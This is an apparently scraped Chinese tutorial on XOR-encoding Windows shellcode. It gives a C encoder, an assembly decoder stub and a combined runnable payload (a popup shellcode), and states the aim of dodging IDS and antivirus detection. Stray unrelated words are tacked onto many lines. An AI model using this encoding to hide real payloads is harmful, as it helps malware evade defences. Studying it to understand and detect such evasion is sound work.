OD: Shellcode Encoding

Shellcode 受到的限制shell

1. 大多數狀況下 shellcode 中不容許出現 0x00 截斷符,這個能夠經過特殊指令來作到。網絡

2. 有時候 shellcode 必須爲可見的 ASCII 字符或 Unicode 值。oop

3. 網絡攻擊時,基於特徵的 IDS 會對常見的 shellcode 進行攔截。this

解決以上限制的一個辦法是,對開發好的 shellcode 時行編碼,使其達到限制要求。使用時,先構造解碼代碼,並放置在 shellcode 頭部。編碼

只需變動編碼用的密鑰,就能使 shellcode 以全新的面貌出現,從而躲過查殺。但對於使用內存查殺的殺毒軟件,這個辦法並不理想。spa

 

Shellcode 編碼code

實驗中用以下代碼編碼:blog

 1 #include<stdio.h>
 2 #include<string.h>
 3 
 4 char popwnd_general[] =
 5 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
 6 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
 7 "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
 8 "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
 9 "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
10 "\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90"; // Append a 0x90 as decoding ending-flag
11 
12 int encoder(char *input, unsigned char key, int display)
13 {
14     int i,len=strlen(input);
15     unsigned char *output=(unsigned char*)malloc(len+1);
16     FILE *fp;
17     if(!output)
18     {
19         printf("malloc failed!\n");
20         return 1;
21     }
22     for(i=0;i<len;i++)
23         output[i]=input[i]^key;
24     if(!(fp=fopen("encode.txt","a+")))
25     {
26         printf("open encode.txt failed!\n");
27         return 2;
28     }
29     fprintf(fp,"\"");
30     for(i=0;i<len;i++)
31     {
32         fprintf(fp,"\\x%0.2x",output[i]);
33         if(display) printf("%0.2x ",output[i]);
34         if((i+1)%16==0)
35         {
36             fprintf(fp,"\"\n\"");
37             if(display) printf("\n");
38         }
39     }
40     fprintf(fp,"\"\n");
41     printf("\n");
42     free(output);
43     return 0;44 }
45 int main()
46 {
47     /*
48     _asm{
49         lea eax, popwnd_general
50         push eax
51         ret
52     }*/
53     encoder(popwnd_general,0x44,1);
54     return 0;
55 }

Shellcode 頭部的解碼過程代碼以下:內存

 1 int main()
 2 {
 3     __asm
 4     {
 5         add eax,0x14    // 0x14: length of this decoder
 6         xor ecx,ecx
 7       decode_loop:
 8         mov bl,[eax+ecx]
 9         xor bl,0x44    // decoding
10         mov [eax+ecx],bl
11         inc ecx
12         cmp bl,0x90
13         jne decode_loop
14     }
15     return 0;
16 }

應用解碼器的過程以下:開發

1. 編譯解碼器,提取 opcode 並整合到編碼過的 shellcode 以前

2. 解碼器執行前 EAX 須要指向整合過的 shellcode 的地址

3. 編碼前的 shellcode 的最後一個必須是 0x90,解碼器以此爲結束標誌

解碼器編譯後的長度恰好是 0x14,整合到編碼事後的 shellcode 頭部,結果以下:

 1 char opcode[]=
 2 "\x83\xC0\x14"      // ADD EAX,14
 3 "\x33\xC9"          // XOR ECX,ECX
 4 "\x8A\x1C\x08"      // MOV BL,BYTE PTR DS:[EAX+ECX]
 5 "\x80\xF3\x44"      // XOR BL,44
 6 "\x88\x1C\x08"      // MOV BYTE PTR DS:[EAX+ECX],BL
 7 "\x41"              // INC ECX
 8 "\x80\xFB\x90"      // CMP BL,90
 9 "\x75\xF1"          // JNZ SHORT exp_me.004018DD
10 "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
11 "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
12 "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
13 "\x0d\x58\xcf\x4d\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31"
14 "\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89"
15 "\xcf\x1d\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa"
16 "\x42\x7e\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60"
17 "\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47"
18 "\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed"
19 "\x77\x9f\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17"
20 "\x14\x14\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";
21 
22 int main()
23 {
24     __asm
25     {
26         /*
27         add eax,0x14    // 0x14: length of this decoder
28         xor ecx,ecx
29         decode_loop:
30         mov bl,[eax+ecx]
31         xor bl,0x44    // decoding
32         mov [eax+ecx],bl
33         inc ecx
34         cmp bl,0x90
35         jne decode_loop
36         */
37         lea eax,opcode
38         push eax
39         ret
40     }
41     return 0;
42 }

實際應用中,除了本身構造編碼解碼器以外,更簡單通用的方法是運用 Metasploit。

相關文章
相關標籤/搜索